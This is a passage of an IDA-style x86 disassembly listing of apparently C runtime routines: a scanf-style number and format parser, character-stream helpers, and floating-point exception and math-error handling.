		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420BE5


loc_420B49:				; CODE XREF: sub_420510+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420BD9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420BD9
		cmp	[ebp+var_E], 0
		jnz	short loc_420BD1
		cmp	[ebp+var_16], 0
		jz	short loc_420BC6
		mov	ecx, off_43C9D8
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420BA5
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		mov	[ebp+var_37], al


loc_420BA5:				; CODE XREF: sub_420510+686j
		push	dword_43CBE4
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423EC3
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420BC9
; ---------------------------------------------------------------------------


loc_420BC6:				; CODE XREF: sub_420510+673j
		mov	[esi], al
		inc	esi


loc_420BC9:				; CODE XREF: sub_420510+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD1:				; CODE XREF: sub_420510+66Dj
		inc	[ebp+var_30]
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD9:				; CODE XREF: sub_420510+649j
					; sub_420510+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420BE5:				; CODE XREF: sub_420510+633j
		cmp	[ebp+var_30], esi
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420E77
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420C17
		and	word ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C17:				; CODE XREF: sub_420510+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C1F:				; CODE XREF: sub_420510+466j
		mov	[ebp+var_D], 1


loc_420C23:				; CODE XREF: sub_420510+203j
					; sub_420510+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420C31
		mov	[ebp+var_17], 1
		jmp	short loc_420C36
; ---------------------------------------------------------------------------


loc_420C31:				; CODE XREF: sub_420510+719j
		cmp	ebx, 2Bh
		jnz	short loc_420C58


loc_420C36:				; CODE XREF: sub_420510+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420C47
		cmp	[ebp+var_20], 0
		jz	short loc_420C47
		mov	[ebp+var_F], 1
		jmp	short loc_420C58
; ---------------------------------------------------------------------------


loc_420C47:				; CODE XREF: sub_420510+729j
					; sub_420510+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax


loc_420C55:				; CODE XREF: sub_420510+543j
		mov	[ebp+var_14], ebx


loc_420C58:				; CODE XREF: sub_420510+4FDj
					; sub_420510+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420D71
		cmp	[ebp+var_F], 0
		jnz	loc_420D4F


loc_420C6C:				; CODE XREF: sub_420510+82Cj
		cmp	esi, 78h
		jnz	short loc_420CC0
		cmp	dword_43CBE4, 1
		jle	short loc_420C89
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420C96
; ---------------------------------------------------------------------------


loc_420C89:				; CODE XREF: sub_420510+768j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420C96:				; CODE XREF: sub_420510+777j
		test	eax, eax
		jz	loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420D13
; ---------------------------------------------------------------------------


loc_420CC0:				; CODE XREF: sub_420510+75Fj
		cmp	dword_43CBE4, 1
		jle	short loc_420CD5
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------


loc_420CD5:				; CODE XREF: sub_420510+7B7j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420CE0:				; CODE XREF: sub_420510+7C3j
		test	eax, eax
		jz	short loc_420D41
		cmp	esi, 6Fh
		jnz	short loc_420CFE
		cmp	ebx, 38h
		jge	short loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423F90
		jmp	short loc_420D0D
; ---------------------------------------------------------------------------


loc_420CFE:				; CODE XREF: sub_420510+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D280


loc_420D0D:				; CODE XREF: sub_420510+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_420D13:				; CODE XREF: sub_420510+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420D2B
		dec	[ebp+var_C]
		jz	short loc_420D4F


loc_420D2B:				; CODE XREF: sub_420510+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420C6C
; ---------------------------------------------------------------------------


loc_420D41:				; CODE XREF: sub_420510+788j
					; sub_420510+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420D4F:				; CODE XREF: sub_420510+756j
					; sub_420510+819j
		cmp	[ebp+var_17], 0
		jz	loc_420E35
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420E35
; ---------------------------------------------------------------------------


loc_420D71:				; CODE XREF: sub_420510+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420E2D


loc_420D7B:				; CODE XREF: sub_420510+90Aj
		cmp	esi, 78h
		jz	short loc_420DBF
		cmp	esi, 70h
		jz	short loc_420DBF
		cmp	dword_43CBE4, 1
		jle	short loc_420D9A
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DA5
; ---------------------------------------------------------------------------


loc_420D9A:				; CODE XREF: sub_420510+87Cj
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420DA5:				; CODE XREF: sub_420510+888j
		test	eax, eax
		jz	short loc_420E1F
		cmp	esi, 6Fh
		jnz	short loc_420DB8
		cmp	ebx, 38h
		jge	short loc_420E1F
		shl	edi, 3
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DB8:				; CODE XREF: sub_420510+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DBF:				; CODE XREF: sub_420510+86Ej
					; sub_420510+873j
		cmp	dword_43CBE4, 1
		jle	short loc_420DD7
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DE4
; ---------------------------------------------------------------------------


loc_420DD7:				; CODE XREF: sub_420510+8B6j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420DE4:				; CODE XREF: sub_420510+8C5j
		test	eax, eax
		jz	short loc_420E1F
		push	ebx
		shl	edi, 4
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420DF7:				; CODE XREF: sub_420510+8A6j
					; sub_420510+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420E09
		dec	[ebp+var_C]
		jz	short loc_420E2D


loc_420E09:				; CODE XREF: sub_420510+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420D7B
; ---------------------------------------------------------------------------


loc_420E1F:				; CODE XREF: sub_420510+897j
					; sub_420510+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420E2D:				; CODE XREF: sub_420510+865j
					; sub_420510+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420E35
		neg	edi


loc_420E35:				; CODE XREF: sub_420510+843j
					; sub_420510+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420E3E
		and	[ebp+var_1C], 0


loc_420E3E:				; CODE XREF: sub_420510+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	short loc_420E77
		inc	[ebp+var_34]


loc_420E51:				; CODE XREF: sub_420510+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420E67
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E67:				; CODE XREF: sub_420510+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420E74
		mov	[eax], edi
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E74:				; CODE XREF: sub_420510+95Ej
		mov	[eax], di


loc_420E77:				; CODE XREF: sub_420510+241j
					; sub_420510+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420EC4
; ---------------------------------------------------------------------------


loc_420E82:				; CODE XREF: sub_420510+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420EF1
		mov	ecx, off_43C9D8
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420EC4
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420EFF
		dec	[ebp+var_4]


loc_420EC4:				; CODE XREF: sub_420510+970j
					; sub_420510+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420EDA
		cmp	byte ptr [esi],	25h
		jnz	short loc_420F1C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420F1C
		mov	esi, eax


loc_420EDA:				; CODE XREF: sub_420510+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42053A
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EE6:				; CODE XREF: sub_420510+1F4j
					; sub_420510+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420EF6
; ---------------------------------------------------------------------------


loc_420EF1:				; CODE XREF: sub_420510+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_420EF6:				; CODE XREF: sub_420510+9DFj
		call	sub_420F86
		pop	ecx
		pop	ecx
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EFF:				; CODE XREF: sub_420510+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		add	esp, 10h


loc_420F16:				; CODE XREF: sub_420510+1Fj
					; sub_420510+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420F2D


loc_420F1C:				; CODE XREF: sub_420510+9BDj
					; sub_420510+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420F30
		cmp	[ebp+var_15], al
		jnz	short loc_420F30
		or	eax, 0FFFFFFFFh
		jmp	short loc_420F30
; ---------------------------------------------------------------------------


loc_420F2D:				; CODE XREF: sub_420510+A0Aj
		mov	eax, [ebp+var_34]


loc_420F30:				; CODE XREF: sub_420510+A11j
					; sub_420510+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420510	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F35	proc near		; CODE XREF: sub_420510+7A3p
					; sub_420510+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43CBE4, 1
		push	esi
		jle	short loc_420F4F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420F5E
; ---------------------------------------------------------------------------


loc_420F4F:				; CODE XREF: sub_420F35+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43C9D8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_420F5E:				; CODE XREF: sub_420F35+18j
		test	eax, eax
		jnz	short loc_420F68
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_420F68:				; CODE XREF: sub_420F35+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F6C	proc near		; CODE XREF: sub_420510+1E1p
					; sub_420510+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420F7E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_420F7E:				; CODE XREF: sub_420F6C+7j
		push	edx
		call	sub_41F043
		pop	ecx
		retn
sub_420F6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F86	proc near		; CODE XREF: sub_420510+6Bp
					; sub_420510+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420F9C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423FAF
		pop	ecx
		pop	ecx

locret_420F9C:				; CODE XREF: sub_420F86+5j
		retn
sub_420F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F9D	proc near		; CODE XREF: sub_420510+63p
					; sub_420510+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_420FA3:				; CODE XREF: sub_420F9D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420F6C
		mov	edi, eax
		push	edi
		call	sub_41D670
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420FA3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420FC1(int,int,double,int)

sub_420FC1	proc near		; CODE XREF: sub_41C679+51p
					; sub_41C7BF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43D350, 0
		jnz	short loc_420FF6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421576
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420FC1+Aj
		push	0FFFFh
		mov	dword_4DB958, 21h
		push	[ebp+arg_C]
		call	sub_4217E9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421014(int,int,double,double,int)

sub_421014	proc near		; CODE XREF: sub_41C679:loc_41C73Cp
					; sub_41C7BF:loc_41C882p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42135F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421052
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4210AC
		add	esp, 18h


loc_421052:				; CODE XREF: sub_421014+1Aj
		push	[ebp+arg_0]
		call	sub_421649
		cmp	dword_43D350, 0
		pop	ecx
		jnz	short loc_421090
		test	eax, eax
		jz	short loc_421090
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421576
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421090:				; CODE XREF: sub_421014+4Ej
					; sub_421014+52j
		push	eax
		call	sub_4215FE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4217E9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_421014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210AC	proc near		; CODE XREF: sub_421014+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4210DE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_4210DE:				; CODE XREF: sub_4210AC+23j
		test	cl, 2
		jz	short loc_4210F1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_4210F1:				; CODE XREF: sub_4210AC+35j
		test	cl, bl
		jz	short loc_421103
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_421103:				; CODE XREF: sub_4210AC+47j
		test	cl, 4
		jz	short loc_421116
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_421116:				; CODE XREF: sub_4210AC+5Aj
		test	cl, 8
		jz	short loc_421129
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_421129:				; CODE XREF: sub_4210AC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4217CC
		test	al, bl
		jz	short loc_4211B2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4211B2:				; CODE XREF: sub_4210AC+FDj
		test	al, 4
		jz	short loc_4211BD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_4211BD:				; CODE XREF: sub_4210AC+108j
		test	al, 8
		jz	short loc_4211C8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_4211C8:				; CODE XREF: sub_4210AC+113j
		test	al, 10h
		jz	short loc_4211D2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_4211D2:				; CODE XREF: sub_4210AC+11Ej
		test	al, 20h
		jz	short loc_4211DC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_4211DC:				; CODE XREF: sub_4210AC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42121B
		cmp	eax, 400h
		jz	short loc_42120D
		cmp	eax, 800h
		jz	short loc_421201
		cmp	eax, ecx
		jnz	short loc_421221
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_421201:				; CODE XREF: sub_4210AC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421217
; ---------------------------------------------------------------------------


loc_42120D:				; CODE XREF: sub_4210AC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421217:				; CODE XREF: sub_4210AC+15Fj
		mov	[eax], ecx
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_42121B:				; CODE XREF: sub_4210AC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421221:				; CODE XREF: sub_4210AC+14Bj
					; sub_4210AC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42124C
		cmp	eax, 200h
		jz	short loc_42123F
		cmp	eax, ecx
		jnz	short loc_421259
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421259
; ---------------------------------------------------------------------------


loc_42123F:				; CODE XREF: sub_4210AC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421257
; ---------------------------------------------------------------------------


loc_42124C:				; CODE XREF: sub_4210AC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421257:				; CODE XREF: sub_4210AC+19Ej
		mov	[eax], ecx


loc_421259:				; CODE XREF: sub_4210AC+189j
					; sub_4210AC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4217DA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 2650331h
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4212D3
		and	dword ptr [esi], 0FFFFFFFEh


loc_4212D3:				; CODE XREF: sub_4210AC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4212DC
		and	dword ptr [esi], 0FFFFFFFBh


loc_4212DC:				; CODE XREF: sub_4210AC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4212E5
		and	dword ptr [esi], 0FFFFFFF7h


loc_4212E5:				; CODE XREF: sub_4210AC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4212EE
		and	dword ptr [esi], 0FFFFFFEFh


loc_4212EE:				; CODE XREF: sub_4210AC+23Dj
		test	[eax+8], bl
		jz	short loc_4212F6
		and	dword ptr [esi], 0FFFFFFDFh


loc_4212F6:				; CODE XREF: sub_4210AC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42132A
		dec	ecx
		jz	short loc_42131E
		dec	ecx
		jz	short loc_421314
		dec	ecx
		jnz	short loc_42132C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_421314:				; CODE XREF: sub_4210AC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421326
; ---------------------------------------------------------------------------


loc_42131E:				; CODE XREF: sub_4210AC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421326:				; CODE XREF: sub_4210AC+270j
		mov	[esi], ecx
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_42132A:				; CODE XREF: sub_4210AC+257j
		and	[esi], edx


loc_42132C:				; CODE XREF: sub_4210AC+260j
					; sub_4210AC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42134C
		dec	ecx
		jz	short loc_421343
		dec	ecx
		jnz	short loc_421355
		and	[esi], edx
		jmp	short loc_421355
; ---------------------------------------------------------------------------


loc_421343:				; CODE XREF: sub_4210AC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421353
; ---------------------------------------------------------------------------


loc_42134C:				; CODE XREF: sub_4210AC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421353:				; CODE XREF: sub_4210AC+29Ej
		mov	[esi], ecx


loc_421355:				; CODE XREF: sub_4210AC+291j
					; sub_4210AC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4210AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42135F	proc near		; CODE XREF: sub_421014+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42138A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42138A
		push	ebx
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42138A:				; CODE XREF: sub_42135F+15j
					; sub_42135F+1Aj
		test	al, 4
		jz	short loc_4213A4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4213A4
		push	4
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_4213A4:				; CODE XREF: sub_42135F+2Dj
					; sub_42135F+33j
		test	al, bl
		jz	loc_42147E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_42147E
		push	8
		call	sub_42180C
		pop	ecx
		mov	eax, 0C00h
